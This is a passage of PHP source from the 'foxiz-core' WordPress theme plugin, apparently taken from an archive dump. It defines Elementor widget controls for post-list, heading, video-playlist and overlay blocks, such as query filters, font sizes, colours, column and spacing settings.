Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for a content section or full width section with 2 columns.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4 ) ), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4 ) ), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'list_gap', array( 'label' => esc_html__( '1/2 Featured Spacing Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::list_gap_description(), 'devices' => array( 'desktop', 'tablet'), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--list-holder-spacing: {{VALUE}}px; --list-holder-margin: -{{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->add_control( 'middle_mode', array( 'label' => esc_html__( 'Vertical Align', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::middle_mode_description(), 'options' => Options::vertical_align_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_list_2' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_list_2( $settings ); } } }elementor/heading.php000064400000025537147206624460010675 0ustar00start_controls_section( 'section_title', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'title', array( 'label' => esc_html__( 'Title', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input your heading title, allow i tags for icon classname.', 'foxiz-core' ), 'default' => esc_html__( 'Latest News', 'foxiz-core' ), ) ); $this->add_control( 'tagline', array( 'label' => esc_html__( 'Tagline', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input a right tagline text for this heading. You can change font values of this element in Theme Options > Typography > Blog Heading', 'foxiz-core' ), 'default' => '', ) ); $this->add_control( 'link', array( 'label' => esc_html__( 'Link', 'foxiz-core' ), 'type' => Controls_Manager::URL ) ); $this->add_control( 'html_tag', array( 'label' => esc_html__( 'Heading HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => array( 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'span' => 'span', 'p' => 'p', ), 'default' => 'h2', ) ); $this->end_controls_section(); $this->start_controls_section( 'layout_section', array( 'label' => esc_html__( 'Layout Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout', array( 'label' => esc_html__( 'Heading Layout', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a style for your heading.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz-core' ), '1' => esc_html__( 'Layout 1', 'foxiz-core' ), '2' => esc_html__( 'Layout 2', 'foxiz-core' ), '3' => esc_html__( 'Layout 3', 'foxiz-core' ), '4' => esc_html__( 'Layout 4', 'foxiz-core' ), '5' => esc_html__( 'Layout 5', 'foxiz-core' ), '6' => esc_html__( 'Layout 6', 'foxiz-core' ), '7' => esc_html__( 'Layout 7', 'foxiz-core' ), '8' => esc_html__( 'Layout 8', 'foxiz-core' ), '9' => esc_html__( 'Layout 9', 'foxiz-core' ), '10' => esc_html__( 'Layout 10', 'foxiz-core' ), '11' => esc_html__( 'Layout 11', 'foxiz-core' ), '12' => esc_html__( 'Layout 12', 'foxiz-core' ), '13' => esc_html__( 'Layout 13', 'foxiz-core' ), 'c1' => esc_html__( 'Layout 1 - Center', 'foxiz-core' ), 'c2' => esc_html__( 'Layout 2 - Center', 'foxiz-core' ), 'c3' => esc_html__( 'Layout 3 - Center', 'foxiz-core' ), 'c4' => esc_html__( 'Layout 4 - Center', 'foxiz-core' ), 'c5' => esc_html__( 'Layout 5 - Center', 'foxiz-core' ), 'c6' => esc_html__( 'Layout 6 - Center', 'foxiz-core' ), 'c7' => esc_html__( 'Layout 7 - Center', 'foxiz-core' ), 'c8' => esc_html__( 'Layout 8 - Center', 'foxiz-core' ), 'c9' => esc_html__( 'Layout 9 - Center', 'foxiz-core' ), 'c10' => esc_html__( 'Layout 10 - Center', 'foxiz-core' ), 'c11' => esc_html__( 'Layout 11 - Center', 'foxiz-core' ), 'c12' => esc_html__( 'Layout 12 - Center', 'foxiz-core' ), 'c13' => esc_html__( 'Layout 13 - Center', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_responsive_control( 'heading_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a custom font size value (px) for this heading. Leave this option blank to set the default value.', 'foxiz-core' ), 'default' => '', 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .heading-title > *' => 'font-size: {{VALUE}}px;' ) ) ); $this->add_responsive_control( 'tagline_size', array( 'label' => esc_html__( 'Tagline - Font Size', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a custom font size value (px) for this tagline. Leave this option blank to set the default value.', 'foxiz-core' ), 'default' => '', 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .heading-tagline > *' => 'font-size: {{VALUE}}px;' ) ) ); $this->add_control( 'tagline_arrow', array( 'label' => esc_html__( 'Tagline Arrow', 'foxiz-core' ), 'description' => esc_html__( 'Show an arrow icon at the right of the tagline.', 'foxiz-core' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes' ) ); $this->end_controls_section(); $this->start_controls_section( 'section_color', array( 'label' => esc_html__( 'Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'Note: The colors settings will based on the heading layout. Primary color will not apply on the style 6.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'primary_color', array( 'label' => esc_html__( 'Primary Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a primary color for this heading.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} ' => '--heading-color: {{VALUE}};' ) ) ); $this->add_control( 'accent_color', array( 'label' => esc_html__( 'Accent Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a accent color for this heading.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} ' => '--heading-sub-color: {{VALUE}};' ) ) ); $this->add_control( 'tagline_color', array( 'label' => esc_html__( 'Tagline Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the tagline of this heading.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} ' => '--heading-tagline-color: {{VALUE}};' ) ) ); $this->add_control( 'dark_primary_color', array( 'label' => esc_html__( 'Dark Mode - Primary Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a primary color for this heading in the dark mode.', 'foxiz-core' ), 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}, {{WRAPPER}} .light-scheme' => '--heading-color: {{VALUE}};' ) ) ); $this->add_control( 'dark_accent_color', array( 'label' => esc_html__( 'Dark Mode - Accent Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a accent color for this heading in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}, {{WRAPPER}} .light-scheme' => '--heading-sub-color: {{VALUE}};' ) ) ); $this->add_control( 'dark_tagline_color', array( 'label' => esc_html__( 'Dark Mode - Tagline Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a tagline color for this heading in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}, {{WRAPPER}} .light-scheme' => '--heading-tagline-color: {{VALUE}};' ) ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Heading Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .heading-title > *', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Tagline Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .heading-tagline > *', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_get_heading' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_heading( $settings ); } } }elementor/videos.php000064400000011761147206624460010561 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'Videos Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'playlist_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'Note: Due to play/stop API control button so this block only supports Youtube videos.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $playlist = new Repeater(); $playlist->add_control( 'url', array( 'label' => esc_html__( 'Youtube Video URL', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => esc_html__( 'Input video url...', 'foxiz-core' ), 'default' => '', ) ); $playlist->add_control( 'title', array( 'label' => esc_html__( 'Video Title', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => esc_html__( 'Input video title...', 'foxiz-core' ), 'default' => '', ) ); $playlist->add_control( 'meta', array( 'label' => esc_html__( 'Meta/Channel Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'default' => '', ) ); $playlist->add_control( 'image', array( 'label' => esc_html__( 'Custom Thumbnail (Optional)', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA, 'default' => array( 'url' => Utils::get_placeholder_image_src(), ) ) ); $this->add_control( 'videos', array( 'label' => esc_html__( 'Add Videos', 'foxiz-core' ), 'type' => Controls_Manager::REPEATER, 'fields' => $playlist->get_controls(), 'default' => array( array( 'url' => '', 'title' => esc_html__( 'Video Title #1', 'foxiz-core' ), 'image' => '' ) ), 'title_field' => '{{{ title }}}', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Playlist Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .plist-item-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'play_title_size', array( 'label' => esc_html__( 'Playing Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom font size values (px) for the playing title for displaying in this block.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .play-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Playlist Title', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} span.plist-item-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Playing Title Font', 'foxiz-core' ), 'name' => 'playing_title_font', 'selector' => '{{WRAPPER}} .play-title', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_playlist' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_playlist( $settings ); } } }elementor/overlay-2.php000064400000073165147206624460011116 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '3', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown( false ), 'default' => 'bg-1', ) ); $this->add_control( 